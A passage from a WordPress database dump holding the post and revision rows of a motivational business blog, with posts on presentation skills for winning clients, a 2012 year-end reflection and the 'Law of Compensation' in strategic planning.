impression. Well, it’s more profound than that. You don’t get much time either. People make up their mind quickly. You have roughly 30 seconds to connect with someone on a level that builds enough trust and confidence for him or her to give you the time of day to present yourself and the value you can bring to the prospective client. If they have confidence in you, chances are they’ll buy from you.\r\n\r\nStart by doing what all great presenters do–smile. Stand straight, look the person straight in the eyes (the window to the soul), speak clearly and in a confident voice. When you begin your presentation, get to the point quickly. Don’t blather on and on. Then allow the prospect room to speak and engage.\r\n\r\n<strong>Leave the prospect with only one thing to remember.</strong>\r\nIn a sales conversation, you leave the prospect with one clear takeaway. Just one. This is what you want the prospective client to remember most about you and the value you provide. However, the one thing is not about you, it’s about them. The one thing is about the benefit your prospect will receive by doing business with you. If you want to connect, make your one thing about how your services will provide a valuable business outcome that will make them more successful.\r\n\r\nYou can learn the skills to become a great presenter. Rehearse your presentation with colleagues, in front of a mirror, or video camera.  Seek a coach. Smile and hold a confident vibe. Lead your presentation with your one compelling benefit, build on it, demonstrate it, and then close with it.\r\n<h2>Always package your one thing as a compelling benefit to the client. Being an effective and compelling presenter is the single most important business development skill you must master. When you do, your opportunities will always exceed your capacity.</h2>', 'The most critical business development skill you must master.', 0, '', 'inherit', 'open', 'open', '', '2194-revision-4', '', '', '2012-10-31 15:37:43', '2012-10-31 22:37:43', '', 2194, 'http://www.whitehotcenter.com/2012/10/2194-revision-4/', 0, 'revision', '', 0),
(2200, 2, '2012-10-31 16:25:00', '2012-10-31 23:25:00', '<img class="alignnone size-full wp-image-2195" title="presentation-skills" src="http://whc.fbdev.org/wp-content/uploads/2012/10/presentation-skills.jpg" alt="" width="495" height="319" />\n<h1><span style="color: #808080;">Marketing and business development is a critical on-going activity for every business. For those creative entrepreneurs marketing their professional services, there’s one skill, above all others that’s critical to your success–presenting to prospects!</span></h1>\nYou already know that marketing and business development is a complex activity involving many strategies and tactics to find and close new business.  It can takes years of hard work before your efforts bear any fruit. You need lots of knowledge and skill to be an effective marketer.\n\nFor starters, you need a vision and plan, and you need to be visible in the marketplace. Prospects need to know about your expertise. You need to skillfully position your expertise in a manner that sets you apart from others in the marketplace, and enables you to build your brand. You need to be doing all these things and more continuously.\n\nOf course the point of all this effort is to create an opportunity to have sales conversations with prospective buyers!  And if you’re going to go through all the difficult work of generating new business conversations, you need to be an effective and compelling presenter once you get in front of a buyer!\n\nThis one skill alone is more important to your business success than direct mail, advertising, you’re pricing, even your talent and delivery of services. If you can’t close business, no other skill or capability in your business matters.\n\n<strong>You can learn to be an effective presenter.</strong>\nIf you struggle with presenting your capabilities, take heart you can learn to be awesome. Like learning any new skill, at first you’ll feel awkward. But after some practice, and maybe some coaching from colleagues, or better yet from someone who is an expert at presenting, you can learn how to effectively present yourself physically in your appearance and body language, and verbally in your speaking.\n\nI’ve always enjoyed getting in front of an audience. Early on I was a performing musician and singer. Later when I was running my design firm, presenting ideas was always a natural thing for me. And I thought I was pretty good at it.\n\nBut when I began public speaking, I had myself video taped during one of my first talks and I was horrified by what I saw!  I never smiled!  As I was watching myself, I thought, “this dude doesn’t smile” he looks so intense”. And what’s up with the twitching and touching my face?  I sucked! Then I thought “is that how I presented myself in all those years of client presentations”?  Is that why I didn’t get hired when I knew our firm was perfect for the gig?  It was a powerful learning experience for me. From there I got serious about elevating my own skill levels as a presenter.\n\nNow, I realize how important a simple smile is to connecting with a person in a business conversation. Before meeting a new client or speaking to a group, I always tell myself –SMILE!\n\n<strong>You have less than 30 seconds.</strong>\nYou’ve probably heard the cliché expression you never get a second chance to make a good first impression. Well, it’s more profound than that. You don’t get much time either. People make up their mind quickly. You have roughly 30 seconds to connect with someone on a level that builds enough trust and confidence for him or her to give you the time of day to present yourself and the value you can bring to the prospective client. If they have confidence in you, chances are they’ll buy from you.\n\nStart by doing what all great presenters do–smile. Stand straight, look the person straight in the eyes (the window to the soul), speak clearly and in a confident voice. When you begin your presentation, get to the point quickly. Don’t blather on and on. Then allow the prospect room to speak and engage.\n\n<strong>Leave the prospect with only one thing to remember.</strong>\nIn a sales conversation, you leave the prospect with one clear takeaway. Just one. This is what you want the prospective client to remember most about you and the value you provide. However, the one thing is not about you, it’s about them. The one thing is about the benefit your prospect will receive by doing business with you. If you want to connect, make your one thing about how your services will provide a valuable business outcome that will make them more successful.\n\nYou can learn the skills to become a great presenter. Rehearse your presentation with colleagues, in front of a mirror, or video camera.  Seek a coach. Smile and hold a confident vibe. Lead your presentation with your one compelling benefit, build on it, demonstrate it, and then close with it.\n<h2>Always package your one thing as a compelling benefit to the client. Being an effective and compelling presenter is the single most important business development skill you must master. When you do, your opportunities will always exceed your capacity.</h2>', 'The most critical business development skill you must master.', 0, '', 'inherit', 'open', 'open', '', '2194-revision-5', '', '', '2012-10-31 16:25:00', '2012-10-31 23:25:00', '', 2194, 'http://www.whitehotcenter.com/2012/10/2194-revision-5/', 0, 'revision', '', 0),
(2201, 2, '2012-10-31 16:26:14', '2012-10-31 23:26:14', '<img class="alignnone size-full wp-image-2195" title="presentation-skills" src="http://whc.fbdev.org/wp-content/uploads/2012/10/presentation-skills.jpg" alt="" width="495" height="319" />\n<h1><span style="color: #808080;">Marketing and business development is a critical on-going activity for every business. For those creative entrepreneurs marketing their professional services, there’s one skill, above all others that’s critical to your success–presenting to prospects!</span></h1>\nYou already know that marketing and business development is a complex activity involving many strategies and tactics to find and close new business.  It can takes years of hard work before your efforts bear any fruit. You need lots of knowledge and skill to be an effective marketer.\n\nFor starters, you need a vision and plan, and you need to be visible in the marketplace. Prospects need to know about your expertise. You need to skillfully position your expertise in a manner that sets you apart from others in the marketplace, and enables you to build your brand. You need to be doing all these things and more continuously.\n\nOf course the point of all this effort is to create an opportunity to have sales conversations with prospective buyers!  And if you’re going to go through all the difficult work of generating new business conversations, you need to be an effective and compelling presenter once you get in front of a buyer!\n\nThis one skill alone is more important to your business success than direct mail, advertising, you’re pricing, even your talent and delivery of services. If you can’t close business, no other skill or capability in your business matters.\n\n<strong>You can learn to be an effective presenter.</strong>\nIf you struggle with presenting your capabilities, take heart you can learn to be awesome. Like learning any new skill, at first you’ll feel awkward. But after some practice, and maybe some coaching from colleagues, or better yet from someone who is an expert at presenting, you can learn how to effectively present yourself physically in your appearance and body language, and verbally in your speaking.\n\nI’ve always enjoyed getting in front of an audience. Early on I was a performing musician and singer. Later when I was running my design firm, presenting ideas was always a natural thing for me. And I thought I was pretty good at it.\n\nBut when I began public speaking, I had myself video taped during one of my first talks and I was horrified by what I saw!  I never smiled!  As I was watching myself, I thought, “this dude doesn’t smile” he looks so intense”. And what’s up with the twitching and touching my face?  I sucked! Then I thought “is that how I presented myself in all those years of client presentations”?  Is that why I didn’t get hired when I knew our firm was perfect for the gig?  It was a powerful learning experience for me. From there I got serious about elevating my own skill levels as a presenter.\n\nNow, I realize how important a simple smile is to connecting with a person in a business conversation. Before meeting a new client or speaking to a group, I always tell myself –SMILE!\n\n<strong>You have less than 30 seconds.</strong>\nYou’ve probably heard the cliché expression you never get a second chance to make a good first impression. Well, it’s more profound than that. You don’t get much time either. People make up their mind quickly. You have roughly 30 seconds to connect with someone on a level that builds enough trust and confidence for him or her to give you the time of day to present yourself and the value you can bring to the prospective client. If they have confidence in you, chances are they’ll buy from you.\n\nStart by doing what all great presenters do–smile. Stand straight, look the person straight in the eyes (the window to the soul), speak clearly and in a confident voice. When you begin your presentation, get to the point quickly. Don’t blather on and on. Then allow the prospect room to speak and engage.\n\n<strong>Leave the prospect with only one thing to remember.</strong>\nIn a sales conversation, you leave the prospect with one clear takeaway. Just one. This is what you want the prospective client to remember most about you and the value you provide. However, the one thing is not about you, it’s about them. The one thing is about the benefit your prospect will receive by doing business with you. If you want to connect, make your one thing about how your services will provide a valuable business outcome that will make them more successful.\n\nYou can learn the skills to become a great presenter. Rehearse your presentation with colleagues, in front of a mirror, or video camera.  Seek a coach. Smile and hold a confident vibe. Lead your presentation with your one compelling benefit, build on it, demonstrate it, and then close with it.\n<h2>Always package your one thing as a compelling benefit to the client. Being an effective and compelling presenter is the single most important business development skill you must master. When you do, your opportunities will always exceed your capacity.</h2>', 'The most critical business development skill you must master.', 0, '', 'inherit', 'open', 'open', '', '2194-revision-6', '', '', '2012-10-31 16:26:14', '2012-10-31 23:26:14', '', 2194, 'http://www.whitehotcenter.com/2012/10/2194-revision-6/', 0, 'revision', '', 0);
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(2202, 2, '2012-10-31 16:31:08', '2012-10-31 23:31:08', '<img class="alignnone size-full wp-image-2195" title="presentation-skills" src="http://whc.fbdev.org/wp-content/uploads/2012/10/presentation-skills.jpg" alt="" width="495" height="319" />\r\n<h1><span style="color: #808080;">Marketing and business development is a critical on-going activity for every business. For those creative entrepreneurs marketing their professional services, there’s one skill, above all others that’s critical to your success–presenting to prospects!</span></h1>\r\nYou already know that marketing and business development is a complex activity involving many strategies and tactics to find and close new business.  It can takes years of hard work before your efforts bear any fruit. You need lots of knowledge and skill to be an effective marketer.\r\n\r\nFor starters, you need a vision and plan, and you need to be visible in the marketplace. Prospects need to know about your expertise. You need to skillfully position your expertise in a manner that sets you apart from others in the marketplace, and enables you to build your brand. You need to be doing all these things and more continuously.\r\n\r\nOf course the point of all this effort is to create an opportunity to have sales conversations with prospective buyers!  And if you’re going to go through all the difficult work of generating new business conversations, you need to be an effective and compelling presenter once you get in front of a buyer!\r\n\r\nThis one skill alone is more important to your business success than direct mail, advertising, you’re pricing, even your talent and delivery of services. If you can’t close business, no other skill or capability in your business matters.\r\n\r\n<strong>You can learn to be an effective presenter.</strong>\r\nIf you struggle with presenting your capabilities, take heart you can learn to be awesome. Like learning any new skill, at first you’ll feel awkward. But after some practice, and maybe some coaching from colleagues, or better yet from someone who is an expert at presenting, you can learn how to effectively present yourself physically in your appearance and body language, and verbally in your speaking.\r\n\r\nI’ve always enjoyed getting in front of an audience. Early on I was a performing musician and singer. Later when I was running my design firm, presenting ideas was always a natural thing for me. And I thought I was pretty good at it.\r\n\r\nBut when I began public speaking, I had myself video taped during one of my first talks and I was horrified by what I saw!  I never smiled!  As I was watching myself, I thought, “this dude doesn’t smile” he looks so intense”. And what’s up with the twitching and touching my face?  I sucked! Then I thought “is that how I presented myself in all those years of client presentations”?  Is that why I didn’t get hired when I knew our firm was perfect for the gig?  It was a powerful learning experience for me. From there I got serious about elevating my own skill levels as a presenter.\r\n\r\nNow, I realize how important a simple smile is to connecting with a person in a business conversation. Before meeting a new client or speaking to a group, I always tell myself –SMILE!\r\n\r\n<strong>You have less than 30 seconds.</strong>\r\nYou’ve probably heard the cliché expression you never get a second chance to make a good first impression. Well, it’s more profound than that. You don’t get much time either. People make up their mind quickly. You have roughly 30 seconds to connect with someone on a level that builds enough trust and confidence for him or her to give you the time of day to present yourself and the value you can bring to the prospective client. If they have confidence in you, chances are they’ll buy from you.\r\n\r\nStart by doing what all great presenters do–smile. Stand straight, look the person straight in the eyes (the window to the soul), speak clearly and in a confident voice. When you begin your presentation, get to the point quickly. Don’t blather on and on. Then allow the prospect room to speak and engage.\r\n\r\n<strong>Leave the prospect with only one thing to remember.</strong>\r\nIn a sales conversation, you leave the prospect with one clear takeaway. Just one. This is what you want the prospective client to remember most about you and the value you provide. However, the one thing is not about you, it’s about them. The one thing is about the benefit your prospect will receive by doing business with you. If you want to connect, make your one thing about how your services will provide a valuable business outcome that will make them more successful.\r\n\r\nYou can learn the skills to become a great presenter. Rehearse your presentation with colleagues, in front of a mirror, or video camera.  Seek a coach. Smile and hold a confident vibe. Lead your presentation with your one compelling benefit, build on it, demonstrate it, and then close with it.\r\n<h2>Always package your one thing as a compelling benefit to the client. Being an effective and compelling presenter is the single most important business development skill you must master. When you do, your opportunities will always exceed your capacity.</h2>', 'The most critical business development skill you must master.', 0, '', 'inherit', 'open', 'open', '', '2194-autosave', '', '', '2012-10-31 16:31:08', '2012-10-31 23:31:08', '', 2194, 'http://www.whitehotcenter.com/2012/10/2194-autosave/', 0, 'revision', '', 0),
(2213, 2, '2012-12-24 14:21:24', '2012-12-24 21:21:24', '<img class="alignnone size-full wp-image-2214" title="2012 Check" src="http://whc.fbdev.org/wp-content/uploads/2012/12/2012.jpg" alt="" width="490" height="313" />\r\n<h1><span style="color: #808080;">Indeed it is the time of year again to reflect, take an inventory and calibrate the navigational systems for strategic planning in the coming year.</span></h1>\r\nEach year at this time I reflect on my accomplishments the year past, learning from what’s working and re-learning from what hasn’t worked so well. Then I take that learning into the planning for the coming year. I’m confident you are probably engaged in a similar activity as well.\r\n\r\nFor me, it’s a simple process.  I think about what worked and got done, and what didn’t. Usually I don’t beat myself up too much on what didn’t happen or get done to my expectation. I’ve lived long enough to know that what does get done is usually the stuff I really wanted to accomplish–the other stuff not so much.  The lesson for me is only make promises to myself I plan to keep. The other thing about my own process of reflection is the core knowledge that I have no control over nouns (people, places and things). I can only control my own thinking and the behavior that comes from it. For me, that’s the whole game.\r\n\r\nEnough of the set up, here’s my reflections on the year past:\r\n\r\n<strong>The things that went well in 2012.</strong>\r\nIn my last “official year-end rant” I was thinking about a deeper connection to purpose…the very reason why I make goals and work so hard to achieve them. I’m delighted to share that “purpose” with my readers once again\r\n\r\n<em>“My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express ideas, forms and structures people can use as maps and vehicles for their success journey.</em>\r\n\r\n<em>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love to collaborate with successful people who value my contributions to their success. All that’s required for my success is available to me at all times. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.”</em>\r\n\r\nThis guides all my strategic thinking about creating success in my life. So what went well in 2012 was a deeper connection and continued realization that I am fully engaged in this purpose. This year, I’ve had several important opportunities to work with and advise some amazing creative and successful entrepreneurs in 2012. Here’s the list:\r\n\r\n• helping the CEO of a technology startup build a value proposition that would guide how that value would be expressed with customers in the marketplace.\r\n\r\n• helping the Founders and CEO of a mailing service company reinvent their business as a premier digital printing company in their market.\r\n\r\n• helping the CEO of a health centered, functional beverage company, refine its brand strategy and distribution opportunities at more national grocery retailers.\r\n\r\n• helping the CEO (and her team) of a national PR firm reposition itself as a strategic communications company serving global technology clients.\r\n\r\n• helping the CEO of a parenting products company discover the core attributes of their target customer segment and develop a compelling brand story to guide the future marketing of their products worldwide.\r\n\r\n• helping the Founding Partners of an information technology consulting firm reinvent their business for their next level of growth.\r\n\r\n• helping my partners and colleagues in professional and business development create and deliver new products in their businesses.\r\n\r\nAll these engagements were centered in my core purpose “creating new value”. Each of these amazing opportunities allowed me to serve the growth and expansion of others. My professional life is now fully established and anchored in this mission and purpose.\r\n\r\n2012 was the year all my dreaming, planning and doing over the past four years finally came into real form.\r\n\r\n<strong>What didn’t go as planned in 2012.</strong>\r\nOf course not everything went according to my perfect plan. There were many things that did not get accomplished as I had hoped for. This is an equally important list for me as well. Here there are clues for planning where I will spend my energy going forward. I ask myself “are these things really important?” The answer is yes and they didn’t get done!\r\n\r\n• I still have not completed my goal of writing my book on “doing what matters”.\r\n\r\n• I did not meet my goal of 1000 subscribers to the White Hot Center. I’m nowhere near that. Currently there are 250 subscribers to the blog who receive my posts directly via email. My web site stats, while growing, are still significantly below my goal of 10,000 page views. I continue to be frustrated over this process.\r\n\r\n• I was not successful in my goal of developing and conducting four “Quantum Leap” business development workshops in 2012.\r\n\r\n• I have not lived up to my “one-post-a-week” publishing schedule here on the blog. Of course this is linked directly to my disappointing web statistics.\r\n\r\n• I did not meet the financial goals I had set for myself. I am not the type of person to count money as the only win in business, but strong financial performance is essential to growth. Money is blood…like humans; a business can’t live without it.\r\n\r\n• I didn’t follow through with the required focus on some of my projects this past year. I still struggle with too much focus on the urgent, and not enough focus and commitment to the important. What’s important to me continues to take a back seat and this frustrates me to no end.\r\n\r\nSo there you have it!  That’s my deal for 2012. In my next post, I’ll be sharing some of my goals and aspirations for 2013. Life is good indeed. Please feel free to share your story in the comments.\r\n\r\nThank you all for reading and leaving your comments and likes regarding the work here on the White Hot Center. I am grateful that I can continue to grow this idea to help you create a bigger future. To your inspired success!\r\n\r\n<strong>Happy Holidays to all! </strong>', 'Learning and Re-Learning: 2012 Lessons.', 0, '', 'publish', 'open', 'open', '', 'learning-and-re-learning-2012-lessons', '', '', '2012-12-24 14:21:24', '2012-12-24 21:21:24', '', 0, 'http://www.whitehotcenter.com/?p=2213', 0, 'post', '', 1),
(2204, 2, '2012-11-20 13:17:14', '2012-11-20 20:17:14', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/11/the-law-of-compensation1.jpg"><img class="alignnone size-full wp-image-2206" title="the-law-of-compensation" src="http://whc.fbdev.org/wp-content/uploads/2012/11/the-law-of-compensation1.jpg" alt="" width="495" height="245" /></a>\r\n<h2><span style="color: #808080;">Here in the US, we’re all preparing for the long Thanksgiving Day Holiday. For many entrepreneurs, this time of year begins the introspective process of taking stock of the year past and preparing to make plans and set goals for the coming year.  In working with several of my clients in their process of strategic planning, one theme seems to dominate the conversation–uncertainty.</span></h2>\r\nIt’s easy to plan when you sense your desired outcome is assured, your ideas can’t miss or are foolproof.  If you’re looking for signs that certainty in our economy, or the actions of our politicians is at hand, or even around the corner–get over yourself. Nothing has ever been certain and nothing will ever be more certain than it is right now. There simply is no such thing as certainty, only ambiguity.\r\n\r\nIt’s against the backdrop of ambiguity that all entrepreneurs make their precious plans. But there is an idea I’d like to suggest you ponder as you begin your strategic planning for the coming year.  It''s called the Law of Compensation.\r\n<h1><strong>Sooner or later we must come face-to-face with the Law of Compensation.</strong></h1>\r\nThis is an idea as old as human civilization itself. The Law of Compensation simply states that inevitably, through all uncertainty, our own comes to us, and only what is our own. As we apply this idea to life and business and watch for certain results, it gets down to the pure idea of reaping what you sow, action equals reaction– there is a Law that governs all success. If your thinking is fixed on what you don’t have, if you are focused on your limitations or lack of resources, you get what comes with that thinking- your own will come to you.\r\n\r\nIf your year-end planning involves the desire to gain better paying, higher value clients then take better care of the clients you currently have. Everything is a reflection of the current state of mind. It’s counter productive to plan for a higher level of game when your current level is dominated by any thinking or action of limitation.\r\n\r\nWhen you perform to the very best of your ability, and are thorough in your service to your clients, you bring out the best there is in you. In other words, you elevate your game and become more. You become better, and thereby demonstrate your growing expertise. In doing so, the Law of Compensation says she who becomes better will attract better and be given better things to do!\r\n\r\nThe principle involved is that when you become too large for your present place you will begin to draw yourself to something larger. You can’t attract the better until you first become the larger. Like water, you find your true level.\r\n\r\n<strong>You can only build on what you create.</strong>\r\n\r\nThe Law of Compensation works slowly but surely. You can’t build your success on the substance or virtue of what others have created. You can only build on your own creativity and innovation.  Stop thinking in the competitive realm; don’t try to compete with anyone or anything.  Rather than competition, call it compensation-which means equal return for that which is given. The greater your service, the greater your reward and the more your business will grow. Inevitably the Law of Compensation produces its own exactness as a rule of action.\r\n\r\nAs you begin the process of planning for your greater success, you may want to consider how this Law is currently working in your business and in your entire life.  Whatever your current circumstances, they are you own. Your own and all of your own will come to you.\r\n<h2> “I rave no more’ gainst time or fate, for lo my own shall come to me”\r\n- John Burroughs</h2>\r\n<strong> Wishing you all a Happy Thanksgiving!</strong>', 'The Law of Compensation in your strategic planning.', 0, '', 'publish', 'open', 'open', '', 'the-law-of-compensation-in-your-strategic-planning', '', '', '2012-11-20 13:17:14', '2012-11-20 20:17:14', '', 0, 'http://www.whitehotcenter.com/?p=2204', 0, 'post', '', 2),
(2205, 2, '2012-11-20 13:00:17', '2012-11-20 20:00:17', '', 'the-law-of-compensation', 0, '', 'inherit', 'open', 'open', '', 'the-law-of-compensation', '', '', '2012-11-20 13:00:17', '2012-11-20 20:00:17', '', 2204, 'http://www.whitehotcenter.com/wp-content/uploads/2012/11/the-law-of-compensation.jpg', 0, 'attachment', 'image/jpeg', 0),
(2206, 2, '2012-11-20 13:01:02', '2012-11-20 20:01:02', '', 'the-law-of-compensation', 0, '', 'inherit', 'open', 'open', '', 'the-law-of-compensation-2', '', '', '2012-11-20 13:01:02', '2012-11-20 20:01:02', '', 2204, 'http://www.whitehotcenter.com/wp-content/uploads/2012/11/the-law-of-compensation1.jpg', 0, 'attachment', 'image/jpeg', 0),
(2207, 2, '2012-11-20 13:04:31', '2012-11-20 20:04:31', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/11/the-law-of-compensation1.jpg"><img class="alignnone size-full wp-image-2206" title="the-law-of-compensation" src="http://whc.fbdev.org/wp-content/uploads/2012/11/the-law-of-compensation1.jpg" alt="" width="495" height="245" /></a>\n<h1><span style="color: #808080;">Here in the US, we’re all preparing for the long Thanksgiving Day Holiday. For many entrepreneurs, this time of year begins the introspective process of taking stock of the year past and preparing to make plans and set goals for the coming year.  In working with several of my clients in their process of strategic planning, one theme seems to dominate the conversation–uncertainty.</span></h1>\nIt’s easy to plan when you sense your desired outcome is assured, your ideas can’t miss or are foolproof.  If you’re looking for signs that certainty in our economy, or the actions of our politicians is at hand, or even around the corner–get over yourself. Nothing has ever been certain and nothing will ever be more certain than it is right now. There simply is no such thing as certainty, only ambiguity.\n\nIt’s against the backdrop of ambiguity that all entrepreneurs make their precious plans. But there is an idea I’d like to suggest you ponder as you begin your strategic planning for the coming year.  It''s called the Law of Compensation.\n\n<strong>Sooner or later we must come face-to-face with the Law of Compensation.</strong>\n\nThis is an idea as old as human civilization itself. The Law of Compensation simply states that inevitably, through all uncertainty, our own comes to us, and only what is our own. As we apply this idea to life and business and watch for certain results, it gets down to the pure idea of reaping what you sow, action equals reaction– there is a Law that governs all success. If your thinking is fixed on what you don’t have, if you are focused on your limitations or lack of resources, you get what comes with that thinking- your own will come to you.\n\nIf your year-end planning involves the desire to gain better paying, higher value clients then take better care of the clients you currently have. Everything is a reflection of the current state of mind. It’s counter productive to plan for a higher level of game when your current level is dominated by any thinking or action of limitation.\n\nWhen you perform to the very best of your ability, and are thorough in your service to your clients, you bring out the best there is in you. In other words, you elevate your game and become more. You become better, and thereby demonstrate your growing expertise. In doing so, the Law of Compensation says she who becomes better will attract better and be given better things to do!\n\nThe principle involved is that when you become too large for your present place you will begin to draw yourself to something larger. You can’t attract the better until you first become the larger. Like water, you find your true level.\n\n<strong>You can only build on what you create.</strong>\n\nThe Law of Compensation works slowly but surely. You can’t build your success on the substance or virtue of what others have created. You can only build on your own creativity and innovation.  Stop thinking in the competitive realm; don’t try to compete with anyone or anything.  Rather than competition, call it compensation-which means equal return for that which is given. The greater your service, the greater your reward and the more your business will grow. Inevitably the Law of Compensation produces its own exactness as a rule of action.\n\nAs you begin the process of planning for your greater success, you may want to consider how this Law is currently working in your business and in your entire life.  Whatever your current circumstances, they are you own. Your own and all of your own will come to you.\n<h2> “I rave no more’ gainst time or fate, for lo my own shall come to me”\n- John Burroughs</h2>\n<strong> Wishing you all a Happy Thanksgiving!</strong>', 'The Law of Compensation in your stategic planning.', 0, '', 'inherit', 'open', 'open', '', '2204-revision', '', '', '2012-11-20 13:04:31', '2012-11-20 20:04:31', '', 2204, 'http://www.whitehotcenter.com/2012/11/2204-revision/', 0, 'revision', '', 0),
(2208, 2, '2012-11-20 13:08:12', '2012-11-20 20:08:12', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/11/the-law-of-compensation1.jpg"><img class="alignnone size-full wp-image-2206" title="the-law-of-compensation" src="http://whc.fbdev.org/wp-content/uploads/2012/11/the-law-of-compensation1.jpg" alt="" width="495" height="245" /></a>\r\n<h1><span style="color: #808080;">Here in the US, we’re all preparing for the long Thanksgiving Day Holiday. For many entrepreneurs, this time of year begins the introspective process of taking stock of the year past and preparing to make plans and set goals for the coming year.  In working with several of my clients in their process of strategic planning, one theme seems to dominate the conversation–uncertainty.</span></h1>\r\nIt’s easy to plan when you sense your desired outcome is assured, your ideas can’t miss or are foolproof.  If you’re looking for signs that certainty in our economy, or the actions of our politicians is at hand, or even around the corner–get over yourself. Nothing has ever been certain and nothing will ever be more certain than it is right now. There simply is no such thing as certainty, only ambiguity.\r\n\r\nIt’s against the backdrop of ambiguity that all entrepreneurs make their precious plans. But there is an idea I’d like to suggest you ponder as you begin your strategic planning for the coming year.  It''s called the Law of Compensation.\r\n\r\n<strong>Sooner or later we must come face-to-face with the Law of Compensation.</strong>\r\n\r\nThis is an idea as old as human civilization itself. The Law of Compensation simply states that inevitably, through all uncertainty, our own comes to us, and only what is our own. As we apply this idea to life and business and watch for certain results, it gets down to the pure idea of reaping what you sow, action equals reaction– there is a Law that governs all success. If your thinking is fixed on what you don’t have, if you are focused on your limitations or lack of resources, you get what comes with that thinking- your own will come to you.\r\n\r\nIf your year-end planning involves the desire to gain better paying, higher value clients then take better care of the clients you currently have. Everything is a reflection of the current state of mind. It’s counter productive to plan for a higher level of game when your current level is dominated by any thinking or action of limitation.\r\n\r\nWhen you perform to the very best of your ability, and are thorough in your service to your clients, you bring out the best there is in you. In other words, you elevate your game and become more. You become better, and thereby demonstrate your growing expertise. In doing so, the Law of Compensation says she who becomes better will attract better and be given better things to do!\r\n\r\nThe principle involved is that when you become too large for your present place you will begin to draw yourself to something larger. You can’t attract the better until you first become the larger. Like water, you find your true level.\r\n\r\n<strong>You can only build on what you create.</strong>\r\n\r\nThe Law of Compensation works slowly but surely. You can’t build your success on the substance or virtue of what others have created. You can only build on your own creativity and innovation.  Stop thinking in the competitive realm; don’t try to compete with anyone or anything.  Rather than competition, call it compensation-which means equal return for that which is given. The greater your service, the greater your reward and the more your business will grow. Inevitably the Law of Compensation produces its own exactness as a rule of action.\r\n\r\nAs you begin the process of planning for your greater success, you may want to consider how this Law is currently working in your business and in your entire life.  Whatever your current circumstances, they are you own. Your own and all of your own will come to you.\r\n<h2> “I rave no more’ gainst time or fate, for lo my own shall come to me”\r\n- John Burroughs</h2>\r\n<strong> Wishing you all a Happy Thanksgiving!</strong>', 'The Law of Compensation in your stategic planning.', 0, '', 'inherit', 'open', 'open', '', '2204-revision-2', '', '', '2012-11-20 13:08:12', '2012-11-20 20:08:12', '', 2204, 'http://www.whitehotcenter.com/2012/11/2204-revision-2/', 0, 'revision', '', 0),
(2209, 2, '2012-11-20 13:09:14', '2012-11-20 20:09:14', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/11/the-law-of-compensation1.jpg"><img class="alignnone size-full wp-image-2206" title="the-law-of-compensation" src="http://whc.fbdev.org/wp-content/uploads/2012/11/the-law-of-compensation1.jpg" alt="" width="495" height="245" /></a>\r\n<h1><span style="color: #808080;">Here in the US, we’re all preparing for the long Thanksgiving Day Holiday. For many entrepreneurs, this time of year begins the introspective process of taking stock of the year past and preparing to make plans and set goals for the coming year.  In working with several of my clients in their process of strategic planning, one theme seems to dominate the conversation–uncertainty.</span></h1>\r\nIt’s easy to plan when you sense your desired outcome is assured, your ideas can’t miss or are foolproof.  If you’re looking for signs that certainty in our economy, or the actions of our politicians is at hand, or even around the corner–get over yourself. Nothing has ever been certain and nothing will ever be more certain than it is right now. There simply is no such thing as certainty, only ambiguity.\r\n\r\nIt’s against the backdrop of ambiguity that all entrepreneurs make their precious plans. But there is an idea I’d like to suggest you ponder as you begin your strategic planning for the coming year.  It''s called the Law of Compensation.\r\n\r\n<strong>Sooner or later we must come face-to-face with the Law of Compensation.</strong>\r\n\r\nThis is an idea as old as human civilization itself. The Law of Compensation simply states that inevitably, through all uncertainty, our own comes to us, and only what is our own. As we apply this idea to life and business and watch for certain results, it gets down to the pure idea of reaping what you sow, action equals reaction– there is a Law that governs all success. If your thinking is fixed on what you don’t have, if you are focused on your limitations or lack of resources, you get what comes with that thinking- your own will come to you.\r\n\r\nIf your year-end planning involves the desire to gain better paying, higher value clients then take better care of the clients you currently have. Everything is a reflection of the current state of mind. It’s counter productive to plan for a higher level of game when your current level is dominated by any thinking or action of limitation.\r\n\r\nWhen you perform to the very best of your ability, and are thorough in your service to your clients, you bring out the best there is in you. In other words, you elevate your game and become more. You become better, and thereby demonstrate your growing expertise. In doing so, the Law of Compensation says she who becomes better will attract better and be given better things to do!\r\n\r\nThe principle involved is that when you become too large for your present place you will begin to draw yourself to something larger. You can’t attract the better until you first become the larger. Like water, you find your true level.\r\n\r\n<strong>You can only build on what you create.</strong>\r\n\r\nThe Law of Compensation works slowly but surely. You can’t build your success on the substance or virtue of what others have created. You can only build on your own creativity and innovation.  Stop thinking in the competitive realm; don’t try to compete with anyone or anything.  Rather than competition, call it compensation-which means equal return for that which is given. The greater your service, the greater your reward and the more your business will grow. Inevitably the Law of Compensation produces its own exactness as a rule of action.\r\n\r\nAs you begin the process of planning for your greater success, you may want to consider how this Law is currently working in your business and in your entire life.  Whatever your current circumstances, they are you own. Your own and all of your own will come to you.\r\n<h2> “I rave no more’ gainst time or fate, for lo my own shall come to me”\r\n- John Burroughs</h2>\r\n<strong> Wishing you all a Happy Thanksgiving!</strong>', 'The Law of Compensation in your stategic planning.', 0, '', 'inherit', 'open', 'open', '', '2204-revision-3', '', '', '2012-11-20 13:09:14', '2012-11-20 20:09:14', '', 2204, 'http://www.whitehotcenter.com/2012/11/2204-revision-3/', 0, 'revision', '', 0),
